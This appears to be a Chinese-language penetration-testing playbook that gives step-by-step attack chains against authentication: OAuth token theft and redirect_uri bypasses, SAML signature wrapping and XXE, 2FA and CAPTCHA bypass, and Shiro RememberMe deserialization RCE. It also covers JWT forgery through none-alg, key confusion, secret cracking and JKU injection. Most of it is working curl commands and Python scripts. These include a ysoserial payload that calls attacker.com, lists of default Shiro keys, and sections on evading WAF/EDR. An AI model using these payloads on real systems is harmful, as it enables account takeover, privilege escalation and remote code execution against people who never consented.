Token窃取、Scope越权、跨应用Token复用测试_ ``` # 1. 通过redirect_uri泄露Token: # implicit flow中Token在URL fragment中: # http://attacker.com/callback#access_token=xxx # 使用Referer泄露: # 如果callback页面有外链,Token会通过Referer泄露 # 2. Scope越权 - 请求更高权限: curl "http://target.com/oauth/authorize?client_id=xxx&redirect_uri=http://target.com/callback&response_type=code&scope=admin+write+delete" # 3. Token复用测试 - 用authorization_code换取的Token访问其他API: TOKEN="stolen_access_token_here" curl -H "Authorization: Bearer ${TOKEN}" "http://target.com/api/admin/users" curl -H "Authorization: Bearer ${TOKEN}" "http://target.com/api/admin/settings" curl -H "Authorization: Bearer ${TOKEN}" "http://other-app.target.com/api/user/info" # 4. refresh_token窃取后无限续期: curl -d "grant_type=refresh_token&refresh_token=STOLEN_REFRESH_TOKEN&client_id=xxx" "http://target.com/oauth/token" ``` **WAF/EDR 绕过变体:** **1. Redirect URI绕过技巧合集** _多种redirect_uri白名单绕过技术_ ``` # 白名单绕过技巧: # 1. 子域名绕过(如果白名单用后缀匹配): redirect_uri=http://evil.target.com/callback redirect_uri=http://target.com.evil.com/callback # 2. 路径遍历: redirect_uri=http://target.com/callback/../../../evil-page redirect_uri=http://target.com/callback/..%2f..%2f..%2fevil-page # 3. 参数注入: redirect_uri=http://target.com/callback?next=http://evil.com redirect_uri=http://target.com/callback%23@evil.com # 4. 端口注入: redirect_uri=http://target.com:8080@evil.com/callback # 5. URL编码绕过: redirect_uri=http://target.com%40evil.com/callback redirect_uri=http://target.com%2540evil.com/callback # 6. localhost/内网绕过: redirect_uri=http://127.0.0.1/callback redirect_uri=http://[::1]/callback # 7. 开放重定向链: redirect_uri=http://target.com/redirect?url=http://evil.com ``` --- ### SAML漏洞 `auth-saml` SAML断言攻击 子类:**SAML** · tags: `auth` `saml` `xml` **前置条件:** 使用SAML SSO **攻击链:** **1. XML签名绕过** _SAML Raider工具_ ``` # SAML断言篡改 - 删除签名验证: # 1. 拦截SAML Response(Burp Suite): # POST /saml/acs 中的SAMLResponse参数 # 2. Base64解码: echo "SAML_RESPONSE_BASE64" | base64 -d > saml.xml # 3. 修改断言中的NameID(提权为admin): # 原始: user@target.com # 修改: admin@target.com # 4. 删除签名块(删除整个...): xmlstarlet ed -d "//*[local-name()='Signature']" saml.xml > saml_modified.xml # 5. 重新Base64编码并替换: base64 -w0 saml_modified.xml | xclip -sel clip # 6. 在Burp中用修改后的值替换SAMLResponse参数 ``` **2. XXE攻击** _SAML基于XML_ ``` # SAML XXE注入攻击: # 1. 解码SAML Response后,在XML声明后注入DTD: ]> &xxe; # 2. 带外数据外泄(Blind XXE): %dtd; ]> # evil.dtd内容: "> %payload; # 3. Base64编码后替换SAMLResponse参数发送 ``` **3. SAML Response篡改与重放** _[linux]_ _SAML Response篡改身份信息和重放攻击_ ``` # 1. 拦截SAML Response: # Burp Suite中拦截POST到/saml/acs的请求 # SAMLResponse参数是Base64编码的XML # 2. 解码并修改: echo "BASE64_SAML_RESPONSE" | base64 -d > saml_resp.xml # 3. 修改关键字段: # - NameID: 修改为目标用户 (admin@target.com) # - Audience: 确保匹配SP # - Conditions/NotBefore/NotOnOrAfter: 确保时间有效 # 使用xmlstarlet修改: xmlstarlet ed -N saml="urn:oasis:names:tc:SAML:2.0:assertion" -u "//saml:NameID" -v "admin@target.com" saml_resp.xml > modified.xml # 4. 重新编码提交: cat modified.xml | base64 -w0 > encoded.txt curl -d "SAMLResponse=$(cat encoded.txt)&RelayState=/" "http://target.com/saml/acs" # 5. 重放攻击(如果未检查InResponseTo/时间): # 直接重放之前抓到的有效SAMLResponse curl -d "SAMLResponse=PREVIOUSLY_CAPTURED&RelayState=/" "http://target.com/saml/acs" ``` **4. SAML签名绕过高级技术** _[linux]_ _SAML签名绕过的多种高级技术_ ``` # 1. 签名包装攻击(XSW - XML Signature Wrapping): # 将签名的断言移到XML其他位置,注入恶意断言 # 有8种XSW攻击变体 # 使用SAML Raider (Burp插件): # - 拦截SAMLResponse # - 选择XSW攻击类型(1-8) # - 修改NameID为admin # - 重放 # 2. 签名排除(如果SP不验证签名): # 删除XML中的整个节点 xmlstarlet ed -N ds="http://www.w3.org/2000/09/xmldsig#" -d "//ds:Signature" saml_resp.xml > no_sig.xml # 3. 自签名证书替换: # 生成自签名证书: openssl req -new -x509 -days 365 -nodes -newkey rsa:2048 -keyout my.key -out my.crt -subj "/CN=Evil IDP" # 使用xmlsec1签名: xmlsec1 --sign --privkey-pem my.key --id-attr:ID Assertion saml_resp.xml # 4. Comment注入绕过: # admin@target.com 可能被解析为 admin@target.com # 在NameID中注入: admin@target.com.evil.com ``` **WAF/EDR 绕过变体:** **1. SAML XML混淆绕过WAF** _[linux]_ _XML编码混淆和多种格式变体绕过WAF对SAML的检测_ ``` # 1. XML编码混淆: # 使用CDATA段包裹payload: # 2. DTD定义实体: ]> &user; # 3. XML命名空间混淆: admin@target.com # 4. 编码SAMLResponse的不同方式: # 标准Base64: cat saml.xml | base64 -w0 # 带换行的Base64: cat saml.xml | base64 # URL编码后的Base64: cat saml.xml | base64 -w0 | python3 -c "import sys,urllib.parse; print(urllib.parse.quote(sys.stdin.read()))" # 5. Deflate+Base64(某些实现接受): python3 -c "import zlib,base64; print(base64.b64encode(zlib.compress(open('saml.xml','rb').read())).decode())" ``` --- ### 2FA绕过 `auth-2fa` 绕过双因素认证 子类:**2FA** · tags: `auth` `2fa` `mfa` **前置条件:** 开启2FA **攻击链:** **1. 直接访问** _强制浏览绕过2FA页面_ ``` # 2FA绕过 - 强制浏览(直接跳过验证步骤): # 1. 正常登录输入用户名密码,到达2FA验证页面 # 2. 不输入验证码,直接访问后台页面: curl -b "session=LOGIN_SESSION_COOKIE" "http://target.com/admin/dashboard" -v curl -b "session=LOGIN_SESSION_COOKIE" "http://target.com/api/user/profile" -v curl -b "session=LOGIN_SESSION_COOKIE" "http://target.com/home" -v # 3. 修改前端JS跳过验证: # 在浏览器Console中执行: # window.location = '/dashboard' # 4. 修改响应中的验证状态: # Burp拦截响应: {"2fa_required":true} → {"2fa_required":false} # 5. 直接调用API(可能不检查2FA状态): curl -b "session=COOKIE" "http://target.com/api/v1/users" -v ``` **2. 验证码爆破** _无速率限制_ ``` # 2FA验证码爆破: # 1. TOTP通常为6位数字(000000-999999): # 但有30秒时间窗口,需要极快速爆破 # 2. 短信验证码爆破(4位): # Burp Intruder: POST /verify-2fa HTTP/1.1 Content-Type: application/json {"otp":"§0000§","session":"LOGIN_SESSION"} # Payload: Numbers 0000-9999 # 3. 检测速率限制: # 快速发送10次请求,观察是否被限制 for i in $(seq 1000 1010); do curl -s -o /dev/null -w "%{http_code}" \ -d "otp=$i&session=SESS" "http://target.com/verify-2fa" echo " - $i" done # 4. 绕过速率限制: # X-Forwarded-For IP轮换 # 修改User-Agent # 添加空字节: otp=1234%00 ``` **3. 逻辑绕过** _修改响应包_ ``` response=true / success=1 ``` **WAF/EDR 绕过变体:** **1. 响应篡改与直接端点访问** _通过拦截并修改2FA验证响应包欺骗前端认为验证通过,或绕过2FA页面直接访问受保护端点测试服务端是否强制校验2FA状态_ ``` # 响应篡改(Burp拦截): # 原始响应: {"success":false,"message":"Invalid OTP"} # 修改为: {"success":true,"message":"Valid OTP"} # 直接跳过2FA步骤: # 登录后不访问/verify-2fa,直接访问: GET /dashboard HTTP/1.1 Cookie: session=AFTER_LOGIN_SESSION # 修改状态参数: POST /verify-2fa {"otp":"000000","skip":true} /verify-2fa?verified=true ``` **2. 备份码爆破与验证竞态条件** _对2FA备份恢复码进行字典爆破(通常限制不如OTP严格),利用竞态条件并发发送多个OTP验证请求绕过速率限制_ ``` # 备份码爆破(通常为8位数字/字母): # 使用Burp Intruder对backup_code参数进行爆破 POST /verify-backup-code {"backup_code":"§12345678§"} # 检查速率限制和锁定策略 # 竞态条件(Race Condition): # 同时发送多个验证请求: for i in $(seq 000000 000100); do curl -s -X POST "http://target.com/verify-2fa" -b "session=SID" -d "otp=$i" & done wait # 多线程并发可能绕过速率限制 ``` --- ### 验证码绕过 `auth-captcha` 绕过图形验证码 子类:**验证码** · tags: `auth` `captcha` `bypass` **前置条件:** 存在验证码 **攻击链:** **1. 重复使用** _验证码未一次性失效_ ``` # 验证码重放攻击(一次验证,多次使用): # 1. 正常获取并输入正确验证码 # 2. 在Burp中抓取成功的请求 # 3. 将请求发送到Repeater,重复发送: POST /login HTTP/1.1 Content-Type: application/x-www-form-urlencoded username=admin&password=§test§&captcha=VALID_CAPTCHA # 4. 如果每次响应都正常(非"验证码错误") # 说明验证码未一次性失效,可用于暴力破解 # 5. 配合Intruder进行密码爆破: # Positions: password字段 # Payloads: 密码字典 # 固定captcha字段为已知有效值 # Burp Intruder设置: Sniper模式,Payload为密码列表 ``` **2. 空值绕过** _验证码参数留空_ ``` # 验证码空值/参数删除绕过: # 1. 提交空验证码: POST /login HTTP/1.1 Content-Type: application/x-www-form-urlencoded username=admin&password=test&captcha= # 2. 提交null值: POST /login HTTP/1.1 Content-Type: application/json {"username":"admin","password":"test","captcha":null} # 3. 完全删除captcha参数: POST /login HTTP/1.1 username=admin&password=test # 4. 提交特殊值: captcha=0 captcha=undefined captcha[]= captcha=true # 5. 不同编码: captcha=%00 captcha=%20 # 如果任一方式登录成功,说明验证码验证可被绕过 ``` **3. 删除参数** _后端未检查参数存在性_ ``` # 验证码参数移除绕过: # 1. 原始请求(带验证码): POST /login HTTP/1.1 Content-Type: application/x-www-form-urlencoded username=admin&password=test&captcha=abcd # 2. 在Burp Repeater中删除captcha参数: POST /login HTTP/1.1 Content-Type: application/x-www-form-urlencoded username=admin&password=test # 3. 修改Content-Type测试(可能走不同处理逻辑): POST /login HTTP/1.1 Content-Type: application/json {"username":"admin","password":"test"} # 4. 通过移动端API(可能无验证码): POST /api/mobile/login HTTP/1.1 Content-Type: application/json {"username":"admin","password":"test"} # 5. 旧版本API(可能无验证码): POST /api/v1/login HTTP/1.1 ``` **WAF/EDR 绕过变体:** **1. 会话复用与参数移除绕过** _测试验证码是否在使用后立即失效(可重复使用),删除captcha参数检查后端是否强制校验,或传入空值、数组等异常类型绕过类型检查_ ``` # 会话复用(验证码未一次性失效): # 1. 正确输入验证码一次 # 2. 后续请求继续使用相同captcha值 # Burp Repeater重放同一captcha参数 # 删除captcha参数: # 原始: user=admin&pass=123&captcha=ABCD # 修改: user=admin&pass=123 # 后端可能不校验缺失的参数 # 空值绕过: captcha= captcha=null captcha=undefined captcha[]= ``` **2. OCR识别与音频验证码利用** _使用OCR工具(Tesseract)自动识别简单图形验证码,利用音频验证码的语音识别替代方案,或检查响应中是否直接泄露验证码值_ ``` # OCR自动识别图形验证码: # Python + Tesseract: import pytesseract from PIL import Image img = Image.open("captcha.png") text = pytesseract.image_to_string(img) print(text) # 音频验证码利用: # 使用Google Speech-to-Text API识别音频验证码 # 或使用Selenium自动获取+语音识别 # 验证码响应泄露: # 检查响应头、Cookie、隐藏字段中是否包含验证码值 curl -v "http://target.com/captcha/generate" 2>&1 | grep -iE "captcha|code|verify" ``` --- ### 记住我漏洞 `auth-remember-me` Remember Me功能漏洞 子类:**会话管理** · tags: `auth` `remember-me` `cookie` **前置条件:** 开启Remember Me **攻击链:** **1. Cookie伪造** _明文存储用户名_ ``` # Remember-Me Cookie伪造: # 1. 分析Cookie结构: # 常见格式: username|timestamp|hash 或 base64(username:expiry:hash) Cookie: remember=admin Cookie: remember=dXNlcjoxNjk5MDAwMDAwOmFiY2QxMjM0 # 2. Base64解码分析: echo "dXNlcjoxNjk5MDAwMDAwOmFiY2QxMjM0" | base64 -d # 输出: user:1699000000:abcd1234 # 3. 伪造admin的Cookie: echo -n "admin:1999999999:abcd1234" | base64 # 用生成的值替换Cookie # 4. 如果使用弱Hash(如MD5(username+secret)): # 注册新账号 → 分析Cookie → 推导secret → 伪造admin Cookie # 5. 测试: curl -b "remember=FORGED_VALUE" "http://target.com/dashboard" -v ``` **2. Base64解码** _弱加密或编码_ ``` # Remember-Me Cookie解码与分析: # 1. 提取Cookie值: curl -c cookies.txt -d "username=testuser&password=test123&remember=1" "http://target.com/login" cat cookies.txt | grep -i remember # 2. Base64解码: echo "COOKIE_VALUE" | base64 -d # 3. 如果是URL编码+Base64: python3 -c "import urllib.parse,base64; print(base64.b64decode(urllib.parse.unquote('COOKIE_VALUE')))" # 4. 尝试Hex解码: echo "COOKIE_VALUE" | xxd -r -p # 5. 分析解码后的结构: # username:timestamp:hmac # {"user":"admin","exp":1699999999} # 序列化对象(Java/PHP) # 6. 检查是否为已知框架的Cookie格式: # Shiro: AES-CBC加密(默认密钥kPH+bIxk5D2deZiIxcaaaA==) # Django: base64(payload):timestamp:signature ``` **3. 记住密码Token逆向分析** _[linux]_ _逆向分析remember-me Token的生成逻辑_ ``` # 1. 收集多个remember-me Token: for i in $(seq 1 5); do token=$(curl -s -c - -d "username=testuser&password=testpass&remember=1" "http://target.com/login" | grep -i "remember" | awk '{print $NF}') echo "Token $i: $token" sleep 1 done # 2. Base64解码分析: echo "REMEMBER_TOKEN" | base64 -d | xxd | head -20 # 3. 检查常见格式: # username:timestamp:hash # username:md5(password) # serialized_object(Java: rO0AB... PHP: O:4:...) # 4. 如果是Java序列化(Shiro RememberMe): echo "REMEMBER_TOKEN" | base64 -d | xxd | head -3 # 如果以 aced0005 开头 → Java序列化对象 # 如果Token加密: 尝试Shiro默认密钥 kPH+bIxk5D2deZiIxcaaaA== # 5. PHP反序列化检查: echo "REMEMBER_TOKEN" | base64 -d # 如果形如 O:4:"User":2:{s:4:"name";s:5:"admin";...} → PHP序列化 ``` **4. Shiro RememberMe反序列化RCE** _利用Shiro默认密钥 + 反序列化链实现RCE_ ``` # Apache Shiro框架的RememberMe Cookie反序列化漏洞 # 原理: AES-CBC加密(默认密钥) → Base64编码 → Cookie # 1. 检测Shiro框架: curl -sI "http://target.com/" | grep -i "rememberMe=deleteMe" # 发送无效Cookie触发特征响应: curl -sI "http://target.com/" -b "rememberMe=test" | grep -i "rememberMe" # 2. 已知Shiro密钥列表测试: # kPH+bIxk5D2deZiIxcaaaA== # 2AvVhdsgUs0FSA3SDFAdag== # 3AvVhmFLUs0KTA3Kprsdag== # ... # 3. 使用ShiroExploit工具: # java -jar ShiroExploit.jar http://target.com # 4. 手动构造payload(需要ysoserial): java -jar ysoserial.jar CommonsCollections2 "curl http://attacker.com/rce" > payload.ser # AES加密: python3 -c " import base64 from Crypto.Cipher import AES import os key = base64.b64decode('kPH+bIxk5D2deZiIxcaaaA==') iv = os.urandom(16) payload = open('payload.ser','rb').read() # PKCS5Padding pad = 16 - len(payload) % 16 payload += bytes([pad]) * pad cipher = AES.new(key, AES.MODE_CBC, iv) encrypted = iv + cipher.encrypt(payload) print(base64.b64encode(encrypted).decode()) " ``` **WAF/EDR 绕过变体:** **1. Remember-Me Cookie绕过检测** _枚举Shiro密钥和不同加密模式绕过检测_ ``` # 1. 修改Cookie名称大小写: curl -b "RememberMe=payload" "http://target.com/" curl -b "rememberme=payload" "http://target.com/" curl -b "REMEMBERME=payload" "http://target.com/" # 2. Shiro密钥枚举(使用不同密钥加密payload): import base64, itertools from Crypto.Cipher import AES import os keys = [ "kPH+bIxk5D2deZiIxcaaaA==", "2AvVhdsgUs0FSA3SDFAdag==", "3AvVhmFLUs0KTA3Kprsdag==", "4AvVhmFLUs0KTA3Kprsdag==", "Z3VucwAAAAAAAAAAAAAAAA==", "wGiHplamyXlVB11UXWol8g==", "fCq+/xW488hMTCD+cmJ3aQ==", ] payload = open("payload.ser", "rb").read() for k in keys: try: key = base64.b64decode(k) iv = os.urandom(16) pad = 16 - len(payload) % 16 padded = payload + bytes([pad]) * pad cipher = AES.new(key, AES.MODE_CBC, iv) enc = base64.b64encode(iv + cipher.encrypt(padded)).decode() print(f"Key: {k} → Cookie length: {len(enc)}") except Exception as e: print(f"Key: {k} → Error: {e}") # 3. GCM模式(Shiro 1.4.2+): # 新版Shiro使用AES-GCM,需要对应的加密方式 ``` --- ### JWT认证漏洞 `auth-jwt` 利用JWT(JSON Web Token)实现缺陷伪造或篡改认证令牌,实现未授权访问或权限提升 子类:**JWT** · tags: `auth` `jwt` `token` **前置条件:** 目标使用JWT进行认证;可以获取或拦截JWT令牌;JWT库存在已知漏洞或服务端配置不当 **攻击链:** **1. JWT解码与分析** _解码JWT的Header和Payload分析其结构和权限信息_ ``` # 手动解码JWT (Base64) echo "[REDACTED]" | cut -d. -f2 | base64 -d 2>/dev/null # 使用jwt_tool解码: python3 jwt_tool.py # 在线解码: # https://jwt.io/ # 检查关键字段: # - alg: 签名算法(HS256/RS256/none) # - kid: 密钥ID(可能可注入) # - typ: 令牌类型 # - exp: 过期时间 # - role/admin/isAdmin: 权限字段 ``` **2. Algorithm None攻击** _将JWT的alg字段设为none,使服务端跳过签名验证,直接接受篡改的payload_ ``` # 将alg改为none绕过签名验证 import base64, json header = {"alg": "none", "typ": "JWT"} payload = {"user": "admin", "role": "admin", "iat": 1700000000, "exp": 1999999999} h = base64.urlsafe_b64encode(json.dumps(header).encode()).rstrip(b"=") p = base64.urlsafe_b64encode(json.dumps(payload).encode()).rstrip(b"=") # 多种变体绕过: alg_variants = ["none", "None", "NONE", "nOnE"] for alg in alg_variants: header["alg"] = alg h = base64.urlsafe_b64encode(json.dumps(header).encode()).rstrip(b"=") token = h.decode() + "." + p.decode() + "." print(f"alg={alg}: {token}") # 使用jwt_tool: python3 jwt_tool.py -X a # Algorithm None attack ``` **3. HS256密钥爆破** _[linux]_ _对使用HS256对称加密的JWT进行密钥字典爆破_ ``` # 使用jwt_tool爆破弱密钥 python3 jwt_tool.py -C -d /usr/share/wordlists/rockyou.txt # 使用hashcat: hashcat -m 16500 jwt_hash.txt /usr/share/wordlists/rockyou.txt # 使用john: john jwt.txt --wordlist=/usr/share/wordlists/rockyou.txt --format=HMAC-SHA256 # 常见弱密钥: # secret, password, 123456, admin, key, test # 公司名, 项目名, 域名等 # 密钥确认后伪造JWT: import jwt token = jwt.encode({"user":"admin","role":"admin"}, "found_secret", algorithm="HS256") print(token) ``` **4. RS256→HS256算法混淆攻击** _[linux]_ _利用RS256/HS256算法混淆,用公钥作为HS256对称密钥签名伪造JWT_ ``` # 当服务端使用RS256但接受HS256时: # 1. 获取服务端公钥(通常在/.well-known/jwks.json或/api/keys) curl -s "http://target.com/.well-known/jwks.json" curl -s "http://target.com/api/v1/keys" # 2. 提取公钥 openssl s_client -connect target.com:443 2>/dev/null | openssl x509 -pubkey -noout > pubkey.pem # 3. 用公钥作为HS256的密钥签名JWT import jwt public_key = open("pubkey.pem").read() token = jwt.encode( {"user": "admin", "role": "admin"}, public_key, algorithm="HS256" ) print(token) # 使用jwt_tool: python3 jwt_tool.py -X k -pk pubkey.pem # Key confusion attack ``` **5. KID参数注入** _利用JWT头部kid字段的SQL注入或路径遍历控制签名验证密钥_ ``` # KID (Key ID) SQL注入: # 原始header: {"alg":"HS256","kid":"key1"} # 注入header: {"alg":"HS256","kid":"key1' UNION SELECT 'ATTACKER_SECRET' -- "} import jwt, json, base64 # SQL注入方式: header = {"alg": "HS256", "kid": "x' UNION SELECT 'test' -- "} token = jwt.encode({"user": "admin"}, "test", algorithm="HS256", headers=header) # 路径遍历方式: header2 = {"alg": "HS256", "kid": "../../dev/null"} # /dev/null内容为空,密钥为空字符串 token2 = jwt.encode({"user": "admin"}, "", algorithm="HS256", headers=header2) # 使用jwt_tool: python3 jwt_tool.py -X i -I -hc kid -hv "../../dev/null" -S hs256 -p "" ``` **WAF/EDR 绕过变体:** **1. JWK/JKU头部密钥注入** _通过JWT Header中的jwk字段内嵌攻击者公钥或jku字段指向攻击者的JWKS端点,使服务端使用攻击者控制的密钥验证签名_ ``` # JWK内嵌密钥注入: # 生成RSA密钥对: openssl genrsa -out attacker.key 2048 openssl rsa -in attacker.key -pubout -out attacker.pub # 构造JWT Header: {"alg":"RS256","typ":"JWT","jwk":{"kty":"RSA","n":"","e":"AQAB","use":"sig"}} # 用attacker.key签名,服务端从jwk字段取公钥验证 # JKU远程密钥注入: {"alg":"RS256","jku":"http://attacker.com/jwks.json"} # 在attacker.com上部署包含攻击者公钥的JWKS文件 # 使用jwt_tool: python3 jwt_tool.py -X s -pr attacker.key ``` **2. 算法降级与嵌套令牌利用** _利用RS256到HS256的算法混淆攻击(用公钥作对称密钥签名),或在JWT Payload中嵌入伪造的内部JWT令牌触发递归解析漏洞_ ``` # 算法降级(RS256→HS256): # 获取服务端公钥后用作HS256密钥: openssl s_client -connect target.com:443 2>/dev/null | openssl x509 -pubkey -noout > pub.pem python3 -c " import jwt pub = open('pub.pem').read() token = jwt.encode({'user':'admin','role':'admin'}, pub, algorithm='HS256') print(token)" # Claim篡改+嵌套JWT: # 在JWT payload中嵌入另一个JWT: {"user":"admin","inner_token":"<另一个伪造的JWT>"} # 某些系统会递归解析inner_token ``` --- ### · JWT安全 ### JWT None算法攻击 `jwt-none-attack` 利用JWT库对"none"算法的支持缺陷,将JWT头部的签名算法修改为none后移除签名部分,构造无需密钥即可通过验证的伪造令牌。这是最经典的JWT漏洞之一。 子类:**算法攻击** · tags: `JWT` `none算法` `认证绕过` `令牌伪造` `CVE-2015-2951` **前置条件:** 目标使用JWT进行身份认证;jwt_tool或Python PyJWT库 **攻击链:** **1. 1. 解码现有JWT** _解析JWT的Header和Payload部分,识别算法和声明内容_ ``` # 解码JWT的三个部分 echo "[REDACTED]" | cut -d. -f1 | base64 -d # 输出: {"alg":"HS256","typ":"JWT"} echo "[REDACTED]" | cut -d. -f2 | base64 -d # 输出: {"user":"guest","role":"user"} ``` **2. 2. 构造None算法JWT** _Python脚本构造alg=none的伪造JWT,提权为admin_ ``` import base64, json # 修改Header为none算法 header = base64.urlsafe_b64encode( json.dumps({"alg":"none","typ":"JWT"}).encode() ).rstrip(b"=").decode() # 修改Payload为admin payload = base64.urlsafe_b64encode( json.dumps({"user":"admin","role":"admin"}).encode() ).rstrip(b"=").decode() # 签名为空 forged_jwt = f"{header}.{payload}." print(forged_jwt) ``` **3. 3. jwt_tool自动攻击** _使用jwt_tool自动化测试none算法及其大小写变体_ ``` python3 jwt_tool.py {TOKEN} -X a # -X a = 尝试none算法攻击 # 同时测试多种none变体 # none, None, NONE, nOnE, noNe ``` **4. 4. 验证伪造令牌** _使用伪造的JWT访问管理员接口验证攻击效果_ ``` curl -s -H "Authorization: Bearer {FORGED_JWT}" \ "https://{TARGET}/api/admin/dashboard" # 检查是否获得管理员权限 # 200 OK = 攻击成功 # 401/403 = 服务端正确拒绝none算法 ``` **WAF/EDR 绕过变体:** **1. none算法大小写变体** _使用none的各种大小写组合和不同签名占位绕过校验_ ``` # 各种none变体 {"alg":"none"} {"alg":"None"} {"alg":"NONE"} {"alg":"nOnE"} {"alg":"noNe"} {"alg":"nONE"} # 添加签名占位 header.payload. header.payload.AA== header.payload.e30= ``` --- ### JWT密钥混淆攻击(RS→HS) `jwt-key-confusion` 当服务端使用RSA公钥验证JWT时,攻击者将算法从RS256改为HS256,此时服务端会错误地使用RSA公钥作为HMAC密钥进行验证。由于RSA公钥是公开的,攻击者可用它签名任意JWT。 子类:**算法攻击** · tags: `JWT` `密钥混淆` `RS256` `HS256` `算法篡改` **前置条件:** 目标JWT使用RS256/RS384/RS512算法;已获取RSA公钥;jwt_tool或Python **攻击链:** **1. 1. 获取RSA公钥** _从JWKS端点、API或SSL证书中获取RSA公钥_ ``` # 常见公钥泄露位置 curl -s "https://{TARGET}/.well-known/jwks.json" | jq curl -s "https://{TARGET}/api/keys" | jq curl -s "https://{TARGET}/oauth/discovery" | jq # 从JWKS中提取公钥 # 或从SSL证书中获取 openssl s_client -connect {TARGET}:443 | openssl x509 -pubkey -noout > pubkey.pem ``` **2. 2. 密钥混淆攻击** _Python脚本将RSA公钥作为HMAC密钥签名伪造JWT_ ``` import jwt import json # 读取RSA公钥 with open("pubkey.pem", "rb") as f: public_key = f.read() # 用公钥作为HMAC密钥签名 forged_payload = { "user": "admin", "role": "admin", "iat": 1707811200, "exp": 1999999999 } # 将算法从RS256切换为HS256 forged_token = jwt.encode( forged_payload, public_key, # RSA公钥作为HMAC密钥 algorithm="HS256" # 改为HMAC算法 ) print(forged_token) ``` **3. 3. jwt_tool自动攻击** _jwt_tool一键执行密钥混淆攻击_ ``` python3 jwt_tool.py {TOKEN} -X k -pk pubkey.pem # -X k = 密钥混淆攻击模式 # -pk = 指定公钥文件 # 工具自动完成RS256→HS256切换和签名 ``` **4. 4. JWKS端点注入** _JKU/X5U头注入使服务端从攻击者控制的URL获取验证密钥_ ``` # 如果支持jku/x5u头,可注入自定义JWKS端点 Header: { "alg": "RS256", "typ": "JWT", "jku": "https://evil.com/.well-known/jwks.json" } # 在evil.com上托管攻击者生成的JWKS # 服务端会从攻击者URL获取公钥进行验证 openssl genrsa -out attacker_key.pem 2048 openssl rsa -in attacker_key.pem -pubout > attacker_pub.pem ``` **WAF/EDR 绕过变体:** **1. 多种公钥格式尝试** _某些JWT库对公钥格式处理不同,尝试多种格式_ ``` # PEM格式(标准) -----BEGIN PUBLIC KEY----- MIIBIjANBgkqh... -----END PUBLIC KEY----- # DER格式(二进制) openssl rsa -pubin -in pubkey.pem -outform DER -out pubkey.der # 带/不带换行符 cat pubkey.pem | tr -d "\n" > pubkey_noline.pem # 不同编码的公钥作为HMAC密钥 ``` --- ### JWT密钥爆破 `jwt-secret-bruteforce` 当JWT使用HMAC对称算法(HS256/HS384/HS512)且密钥为弱密码时,可通过字典或暴力破解还原签名密钥,进而伪造任意JWT令牌。 子类:**密钥破解** · tags: `JWT` `密钥爆破` `HS256` `弱密钥` `hashcat` **前置条件:** 目标JWT使用HMAC算法(HS256等);已获取有效JWT样本;hashcat或jwt_tool **攻击链:** **1. 1. 确认算法和结构** _确认JWT使用HMAC对称算法,此类算法的密钥可被爆破_ ``` # 解码JWT Header echo "eyJhbGciOiJIUzI1NiJ9" | base64 -d # {"alg":"HS256"} # 确认是HMAC对称算法才可爆破 # HS256 / HS384 / HS512 = 可爆破 # RS256 / ES256 = 不可直接爆破密钥 ``` **2. 2. hashcat GPU加速爆破** _hashcat GPU加速破解JWT HMAC密钥_ ``` # hashcat模式16500 = JWT hashcat -m 16500 -a 0 jwt.txt /usr/share/wordlists/rockyou.txt # jwt.txt内容为完整的JWT字符串 # eyJhbGci....signature # 使用规则加速 hashcat -m 16500 -a 0 jwt.txt rockyou.txt -r /usr/share/hashcat/rules/best64.rule # 掩码暴力破解(8位数字密钥) hashcat -m 16500 -a 3 jwt.txt ?d?d?d?d?d?d?d?d ``` **3. 3. jwt_tool字典爆破** _jwt_tool字典模式破解JWT密钥_ ``` python3 jwt_tool.py {TOKEN} -C -d /usr/share/wordlists/rockyou.txt # -C = 开启字典破解模式 # -d = 指定字典文件 # 也支持常见弱密钥快速测试 python3 jwt_tool.py {TOKEN} -C -d common_jwt_secrets.txt ``` **4. 4. 使用破解密钥伪造JWT** _使用破解出的密钥签名伪造管理员JWT_ ``` import jwt secret = "cracked_secret_key" forged = jwt.encode( {"user": "admin", "role": "superadmin", "exp": 1999999999}, secret, algorithm="HS256" ) print(f"Forged JWT: {forged}") # 验证 curl -H "Authorization: Bearer $FORGED_JWT" "https://{TARGET}/api/admin" ``` **WAF/EDR 绕过变体:** **1. 常见默认JWT密钥** _优先尝试常见的默认/弱JWT密钥_ ``` # 常见弱密钥列表 secret password 123456 hs256-secret jwt-secret my-secret-key changeme default qwerty super-secret your-256-bit-secret secretkey token-secret application-secret ``` --- ### JWT JKU/X5U头注入 `jwt-jku-x5u-injection` 利用JWT Header中的jku(JWK Set URL)或x5u(X.509 URL)参数,将密钥来源指向攻击者控制的服务器,使服务端使用攻击者的公钥验证JWT,从而实现令牌伪造。 子类:**Header注入** · tags: `JWT` `JKU` `X5U` `Header注入` `JWKS` `密钥劫持` **前置条件:** 目标JWT支持jku/x5u Header参数;攻击者拥有公网服务器;Python环境 **攻击链:** **1. 1. 探测JKU/X5U支持** _检查JWT是否使用jku/x5u头以及目标JWKS端点_ ``` # 解码JWT Header查看是否包含jku/x5u echo "{JWT_HEADER}" | base64 -d | jq # 常见原始Header {"alg":"RS256","typ":"JWT","jku":"https://target.com/.well-known/jwks.json"} # 检查JWKS端点 curl -s "https://{TARGET}/.well-known/jwks.json" | jq curl -s "https://{TARGET}/.well-known/openid-configuration" | jq .jwks_uri ``` **2. 2. 生成攻击者密钥对** _生成攻击者的RSA密钥对并构造JWKS文件_ ``` from cryptography.hazmat.primitives.asymmetric import rsa from cryptography.hazmat.primitives import serialization import json, base64 # 生成RSA密钥对 private_key = rsa.generate_private_key(public_exponent=65537, key_size=2048) public_key = private_key.public_key() # 导出PEM格式 with open("attacker_private.pem", "wb") as f: f.write(private_key.private_bytes( serialization.Encoding.PEM, serialization.PrivateFormat.PKCS8, serialization.NoEncryption() )) # 生成JWKS格式公钥 numbers = public_key.public_numbers() jwks = {"keys": [{"kty": "RSA", "kid": "attacker-key-1", "n": base64.urlsafe_b64encode(numbers.n.to_bytes(256, "big")).rstrip(b"=").decode(), "e": base64.urlsafe_b64encode(numbers.e.to_bytes(3, "big")).rstrip(b"=").decode(), "use": "sig", "alg": "RS256"}]} with open("jwks.json", "w") as f: json.dump(jwks, f) ``` **3. 3. 托管JWKS并签名JWT** _托管JWKS文件并用攻击者私钥签名JWT,jku指向攻击者服务器_ ``` # 在攻击者服务器托管jwks.json python3 -m http.server 8080 # http://evil.com:8080/jwks.json import jwt # 用攻击者私钥签名 with open("attacker_private.pem", "rb") as f: attacker_key = f.read() forged = jwt.encode( {"user": "admin", "role": "admin", "exp": 1999999999}, attacker_key, algorithm="RS256", headers={"jku": "http://evil.com:8080/jwks.json", "kid": "attacker-key-1"} ) print(forged) 